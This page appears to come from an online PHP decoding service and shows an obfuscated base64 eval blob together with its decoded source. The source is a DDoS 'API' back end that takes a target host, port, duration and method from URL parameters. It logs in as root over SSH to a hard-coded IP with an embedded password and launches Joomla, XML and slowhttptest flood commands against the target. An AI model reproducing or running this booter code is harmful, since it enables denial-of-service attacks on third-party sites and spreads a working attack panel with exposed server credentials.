Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval("?>".base64_decode("PD9waHANCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL ..

Decoded Output download

?>b'<?php
/////////////////////////////////
//--     Venux API Script - Modified by Aggron    --//
/////////////////////////////////
ignore_user_abort(true);
set_time_limit(0);
//////////////////////////////////////////
//--    You\'re servers credentials    --//
//-- Enter you\'re servers credentials --//
//////////////////////////////////////////
$server_ip = "80.211.228.54"; //Change "1337" to your servers IP.
$server_pass = "pretectiegarantataantiinjectmixasiflt(m3)dt31637htmlacunetixt8652654654645"; //Change "pass" to your servers password.
$server_user = "root"; //Only change this if your using a user other than root.
 
/////////////////////////////////////////
//-- Gets the value of each variable --//
/////////////////////////////////////////
$key = $_GET[\'key\'];
$host = $_GET[\'host\'];
$port = intval($_GET[\'port\']);
$time = intval($_GET[\'time\']);
$method = $_GET[\'method\'];
$action = $_GET[\'action\'];
 
///////////////////////////////////////////////////
//-- array of implemented method as a variable --//
///////////////////////////////////////////////////
$array = array("joomla", "xml", "slow", "stop");// Add you\'re existing methods here, and delete you\'re none existent methods.
$ray = array("apikey");
 
////////////////////////////////////////
//-- Checks if the API key is empty --//
////////////////////////////////////////
if (!empty($key)){
}else{
die(\'Error: API key is empty!\');}
 
//////////////////////////////////////////
//-- Checks if the API key is correct --//
//////////////////////////////////////////
if (in_array($key, $ray)){ //Change "key" to what ever yo want you\'re API key to be.
}else{
die(\'Error: Incorrect API key!\');}
 
/////////////////////////////////
//-- Checks if time is empty --//
/////////////////////////////////
if (!empty($time)){
}else{
die(\'Error: time is empty!\');}
 
/////////////////////////////////
//-- Checks if host is empty --//
/////////////////////////////////
if (!empty($host)){
}else{
die(\'Error: Host is empty!\');}
///////////////////////////////////
//-- Checks if method is empty --//
///////////////////////////////////
if (!empty($method)){
}else{
die(\'Error: Method is empty!\');}
 
///////////////////////////////////
//-- Checks if method is empty --//
///////////////////////////////////
if (in_array($method, $array)){
}else{
die(\'Error: The method you requested does not exist!\');}
///////////////////////////////////////////////////
//-- Uses regex to see if the Port could exist --//
///////////////////////////////////////////////////
if ($port > 44405){
die(\'Error: Ports over 44405 do not exist\');}
 
//////////////////////////////////
//-- Sets a Maximum boot time --//
//////////////////////////////////             
if ($time > 36000){
die(\'Error: Cannot exceed 36000 seconds!\');} //Change 10 to the time you used above.
 
if(ctype_digit($Time)){
die(\'Error: Time is not in numeric form!\');}
 
if(ctype_digit($Port)){
die(\'Error: Port is not in numeric form!\');}
 
//////////////////////////////////////////////////////////////////////////////
//--                        You\'re attack methods                         --//
//-- Make sure the command is formatted correctly for each method you add --//
//////////////////////////////////////////////////////////////////////////////
if ($method == "joomla") { $command = "screen -dm /root/joomla $host listjoomla.txt $time 1000"; }
if ($method == "xml") { $command = "screen -dm /root/xml $host layer7.txt $time 1000"; }
if ($method == "slow") { $command = "screen -dm slowhttptest -c 4000 -B -g -o output-file-name -i 100 -r 500 -s 1024 -u $host -x 20 -l $time"; }
if ($method == "stop") { $command = "pkill $host -f"; }
///////////////////////////////////////////////////////
//-- Check to see if the server has SSH2 installed --//
///////////////////////////////////////////////////////
if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you\'re server");
if(!($con = ssh2_connect($server_ip, 2204))){
  echo "Error: Connection Issue";
} else {
 
///////////////////////////////////////////////////
//-- Attempts to login with you\'re credentials --//
///////////////////////////////////////////////////
    if(!ssh2_auth_password($con, $server_user, $server_pass)) {
        echo "Error: Login failed, one or more of you\'re server credentials are incorect.";
    } else {
       
////////////////////////////////////////////////////////////////////////////
//-- Tries to execute the attack with the requested method and settings --//
////////////////////////////////////////////////////////////////////////////   
        if (!($stream = ssh2_exec($con, $command ))) {
            echo "Error: You\'re server was not able to execute you\'re methods file and or its dependencies";
        } else {
////////////////////////////////////////////////////////////////////
//-- Executed the attack with the requested method and settings --//
////////////////////////////////////////////////////////////////////      
            stream_set_blocking($stream, false);
            $data = "";
            while ($buf = fread($stream,4096)) {
                $data .= $buf;
            }
                        echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
            fclose($stream);
        }
    }
}
?>'

Did this file decode correctly?

Original Code

eval("?>".base64_decode("PD9waHANCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLw0KLy8tLSAgICAgVmVudXggQVBJIFNjcmlwdCAtIE1vZGlmaWVkIGJ5IEFnZ3JvbiAgICAtLS8vD                                                                                                                                                             QovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmlnbm9yZV91c2VyX2Fib3J0KHRydWUpO                                                                                                                                                             w0Kc2V0X3RpbWVfbGltaXQoMCk7DQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8NCi8vLS0gICAgWW91J3JlIHNlcnZlcnMgY3JlZGVudGlhbHMgICAgLS0vLw0KLy8tLSBFbnRlc                                                                                                                                                             iB5b3UncmUgc2VydmVycyBjcmVkZW50aWFscyAtLS8vDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8NCiRzZXJ2ZXJfaXAgPSAiODAuMjExLjIyOC41NCI7IC8vQ2hhbmdlICIxM                                                                                                                                                             zM3IiB0byB5b3VyIHNlcnZlcnMgSVAuDQokc2VydmVyX3Bhc3MgPSAicHJldGVjdGllZ2FyYW50YXRhY                                                                                                                                                             W50aWluamVjdG1peGFzaWZsdChtMylkdDMxNjM3aHRtbGFjdW5ldGl4dDg2NTI2NTQ2NTQ2NDUiOyAvL                                                                                                                                                             0NoYW5nZSAicGFzcyIgdG8geW91ciBzZXJ2ZXJzIHBhc3N3b3JkLg0KJHNlcnZlcl91c2VyID0gInJvb                                                                                                                                                             3QiOyAvL09ubHkgY2hhbmdlIHRoaXMgaWYgeW91ciB1c2luZyBhIHVzZXIgb3RoZXIgdGhhbiByb290L                                                                                                                                                             g0KIA0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gR2V0cyB0a                                                                                                                                                             GUgdmFsdWUgb2YgZWFjaCB2YXJpYWJsZSAtLS8vDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLw0KJGtleSA9ICRfR0VUWydrZXknXTsNCiRob3N0ID0gJF9HRVRbJ2hvc3QnXTsNC                                                                                                                                                             iRwb3J0ID0gaW50dmFsKCRfR0VUWydwb3J0J10pOw0KJHRpbWUgPSBpbnR2YWwoJF9HRVRbJ3RpbWUnX                                                                                                                                                             Sk7DQokbWV0aG9kID0gJF9HRVRbJ21ldGhvZCddOw0KJGFjdGlvbiA9ICRfR0VUWydhY3Rpb24nXTsNC                                                                                                                                                             iANCi8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy8tL                                                                                                                                                             SBhcnJheSBvZiBpbXBsZW1lbnRlZCBtZXRob2QgYXMgYSB2YXJpYWJsZSAtLS8vDQovLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiRhcnJheSA9IGFycmF5KCJqb                                                                                                                                                             29tbGEiLCAieG1sIiwgInNsb3ciLCAic3RvcCIpOy8vIEFkZCB5b3UncmUgZXhpc3RpbmcgbWV0aG9kc                                                                                                                                                             yBoZXJlLCBhbmQgZGVsZXRlIHlvdSdyZSBub25lIGV4aXN0ZW50IG1ldGhvZHMuDQokcmF5ID0gYXJyY                                                                                                                                                             XkoImFwaWtleSIpOw0KIA0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KL                                                                                                                                                             y8tLSBDaGVja3MgaWYgdGhlIEFQSSBrZXkgaXMgZW1wdHkgLS0vLw0KLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KaWYgKCFlbXB0eSgka2V5KSl7DQp9ZWxzZXsNCmRpZSgnRXJyb                                                                                                                                                             3I6IEFQSSBrZXkgaXMgZW1wdHkhJyk7fQ0KIA0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vDQovLy0tIENoZWNrcyBpZiB0aGUgQVBJIGtleSBpcyBjb3JyZWN0IC0tLy8NCi8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KaWYgKGluX2FycmF5KCRrZXksI                                                                                                                                                             CRyYXkpKXsgLy9DaGFuZ2UgImtleSIgdG8gd2hhdCBldmVyIHlvIHdhbnQgeW91J3JlIEFQSSBrZXkgd                                                                                                                                                             G8gYmUuDQp9ZWxzZXsNCmRpZSgnRXJyb3I6IEluY29ycmVjdCBBUEkga2V5IScpO30NCiANCi8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy8tLSBDaGVja3MgaWYgdGltZSBpcyBlbXB0eSAtL                                                                                                                                                             S8vDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmlmICghZW1wdHkoJHRpbWUpKXsNC                                                                                                                                                             n1lbHNlew0KZGllKCdFcnJvcjogdGltZSBpcyBlbXB0eSEnKTt9DQogDQovLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gQ2hlY2tzIGlmIGhvc3QgaXMgZW1wdHkgLS0vLw0KLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQppZiAoIWVtcHR5KCRob3N0KSl7DQp9ZWxzZXsNCmRpZ                                                                                                                                                             SgnRXJyb3I6IEhvc3QgaXMgZW1wdHkhJyk7fQ0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8NCi8vLS0gQ2hlY2tzIGlmIG1ldGhvZCBpcyBlbXB0eSAtLS8vDQovLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLw0KaWYgKCFlbXB0eSgkbWV0aG9kKSl7DQp9ZWxzZXsNCmRpZSgnRXJyb                                                                                                                                                             3I6IE1ldGhvZCBpcyBlbXB0eSEnKTt9DQogDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLw0KLy8tLSBDaGVja3MgaWYgbWV0aG9kIGlzIGVtcHR5IC0tLy8NCi8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vDQppZiAoaW5fYXJyYXkoJG1ldGhvZCwgJGFycmF5KSl7DQp9ZWxzZXsNC                                                                                                                                                             mRpZSgnRXJyb3I6IFRoZSBtZXRob2QgeW91IHJlcXVlc3RlZCBkb2VzIG5vdCBleGlzdCEnKTt9DQovL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gVXNlc                                                                                                                                                             yByZWdleCB0byBzZWUgaWYgdGhlIFBvcnQgY291bGQgZXhpc3QgLS0vLw0KLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQppZiAoJHBvcnQgPiA0NDQwNSl7DQpka                                                                                                                                                             WUoJ0Vycm9yOiBQb3J0cyBvdmVyIDQ0NDA1IGRvIG5vdCBleGlzdCcpO30NCiANCi8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gU2V0cyBhIE1heGltdW0gYm9vdCB0aW1lIC0tLy8NC                                                                                                                                                             i8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8gICAgICAgICAgICAgDQppZiAoJHRpbWUgP                                                                                                                                                             iAzNjAwMCl7DQpkaWUoJ0Vycm9yOiBDYW5ub3QgZXhjZWVkIDM2MDAwIHNlY29uZHMhJyk7fSAvL0NoY                                                                                                                                                             W5nZSAxMCB0byB0aGUgdGltZSB5b3UgdXNlZCBhYm92ZS4NCiANCmlmKGN0eXBlX2RpZ2l0KCRUaW1lK                                                                                                                                                             Sl7DQpkaWUoJ0Vycm9yOiBUaW1lIGlzIG5vdCBpbiBudW1lcmljIGZvcm0hJyk7fQ0KIA0KaWYoY3R5c                                                                                                                                                             GVfZGlnaXQoJFBvcnQpKXsNCmRpZSgnRXJyb3I6IFBvcnQgaXMgbm90IGluIG51bWVyaWMgZm9ybSEnK                                                                                                                                                             Tt9DQogDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gICAgICAgICAgICAgICAgICAgICAgICBZb3Unc                                                                                                                                                             mUgYXR0YWNrIG1ldGhvZHMgICAgICAgICAgICAgICAgICAgICAgICAgLS0vLw0KLy8tLSBNYWtlIHN1c                                                                                                                                                             mUgdGhlIGNvbW1hbmQgaXMgZm9ybWF0dGVkIGNvcnJlY3RseSBmb3IgZWFjaCBtZXRob2QgeW91IGFkZ                                                                                                                                                             CAtLS8vDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmlmICgkbWV0aG9kID09ICJqb29tbGEiKSB7ICRjb21tY                                                                                                                                                             W5kID0gInNjcmVlbiAtZG0gL3Jvb3Qvam9vbWxhICRob3N0IGxpc3Rqb29tbGEudHh0ICR0aW1lIDEwM                                                                                                                                                             DAiOyB9DQppZiAoJG1ldGhvZCA9PSAieG1sIikgeyAkY29tbWFuZCA9ICJzY3JlZW4gLWRtIC9yb290L                                                                                                                                                             3htbCAkaG9zdCBsYXllcjcudHh0ICR0aW1lIDEwMDAiOyB9DQppZiAoJG1ldGhvZCA9PSAic2xvdyIpI                                                                                                                                                             HsgJGNvbW1hbmQgPSAic2NyZWVuIC1kbSBzbG93aHR0cHRlc3QgLWMgNDAwMCAtQiAtZyAtbyBvdXRwd                                                                                                                                                             XQtZmlsZS1uYW1lIC1pIDEwMCAtciA1MDAgLXMgMTAyNCAtdSAkaG9zdCAteCAyMCAtbCAkdGltZSI7I                                                                                                                                                             H0NCmlmICgkbWV0aG9kID09ICJzdG9wIikgeyAkY29tbWFuZCA9ICJwa2lsbCAkaG9zdCAtZiI7IH0NC                                                                                                                                                             i8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vL                                                                                                                                                             S0gQ2hlY2sgdG8gc2VlIGlmIHRoZSBzZXJ2ZXIgaGFzIFNTSDIgaW5zdGFsbGVkIC0tLy8NCi8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCmlmICghZnVuY                                                                                                                                                             3Rpb25fZXhpc3RzKCJzc2gyX2Nvbm5lY3QiKSkgZGllKCJFcnJvcjogU1NIMiBkb2VzIG5vdCBleGlzd                                                                                                                                                             CBvbiB5b3UncmUgc2VydmVyIik7DQppZighKCRjb24gPSBzc2gyX2Nvbm5lY3QoJHNlcnZlcl9pcCwgM                                                                                                                                                             jIwNCkpKXsNCiAgZWNobyAiRXJyb3I6IENvbm5lY3Rpb24gSXNzdWUiOw0KfSBlbHNlIHsNCiANCi8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLw0KLy8tLSBBdHRlb                                                                                                                                                             XB0cyB0byBsb2dpbiB3aXRoIHlvdSdyZSBjcmVkZW50aWFscyAtLS8vDQovLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCiAgICBpZighc3NoMl9hdXRoX3Bhc3N3b                                                                                                                                                             3JkKCRjb24sICRzZXJ2ZXJfdXNlciwgJHNlcnZlcl9wYXNzKSkgew0KICAgICAgICBlY2hvICJFcnJvc                                                                                                                                                             jogTG9naW4gZmFpbGVkLCBvbmUgb3IgbW9yZSBvZiB5b3UncmUgc2VydmVyIGNyZWRlbnRpYWxzIGFyZ                                                                                                                                                             SBpbmNvcmVjdC4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vDQovLy0tI                                                                                                                                                             FRyaWVzIHRvIGV4ZWN1dGUgdGhlIGF0dGFjayB3aXRoIHRoZSByZXF1ZXN0ZWQgbWV0aG9kIGFuZCBzZ                                                                                                                                                             XR0aW5ncyAtLS8vDQovLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vICAgDQogICAgICAgIGlmICghKCRzdHJlYW0gPSBzc                                                                                                                                                             2gyX2V4ZWMoJGNvbiwgJGNvbW1hbmQgKSkpIHsNCiAgICAgICAgICAgIGVjaG8gIkVycm9yOiBZb3Unc                                                                                                                                                             mUgc2VydmVyIHdhcyBub3QgYWJsZSB0byBleGVjdXRlIHlvdSdyZSBtZXRob2RzIGZpbGUgYW5kIG9yI                                                                                                                                                             Gl0cyBkZXBlbmRlbmNpZXMiOw0KICAgICAgICB9IGVsc2Ugew0KLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8NCi8vLS0gRXhlY3V0Z                                                                                                                                                             WQgdGhlIGF0dGFjayB3aXRoIHRoZSByZXF1ZXN0ZWQgbWV0aG9kIGFuZCBzZXR0aW5ncyAtLS8vDQovL                                                                                                                                                             y8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vLy8vL                                                                                                                                                             y8vLy8vLyAgICAgIA0KICAgICAgICAgICAgc3RyZWFtX3NldF9ibG9ja2luZygkc3RyZWFtLCBmYWxzZ                                                                                                                                                             Sk7DQogICAgICAgICAgICAkZGF0YSA9ICIiOw0KICAgICAgICAgICAgd2hpbGUgKCRidWYgPSBmcmVhZ                                                                                                                                                             Cgkc3RyZWFtLDQwOTYpKSB7DQogICAgICAgICAgICAgICAgJGRhdGEgLj0gJGJ1ZjsNCiAgICAgICAgI                                                                                                                                                             CAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gIkF0dGFjayBzdGFydGVkISE8L2JyPkhpd                                                                                                                                                             HRpbmc6ICRob3N0PC9icj5PbiBQb3J0OiAkcG9ydCA8L2JyPkF0dGFjayBMZW5ndGg6ICR0aW1lPC9ic                                                                                                                                                             j5XaXRoOiAkbWV0aG9kIjsNCiAgICAgICAgICAgIGZjbG9zZSgkc3RyZWFtKTsNCiAgICAgICAgfQ0KI                                                                                                                                                             CAgIH0NCn0NCj8+"));

Function Calls

base64_decode 1

Variables

None

Stats

MD5 d85956a1dc7fa904c992e329276a5e4a
Eval Count 1
Decode Time 97 ms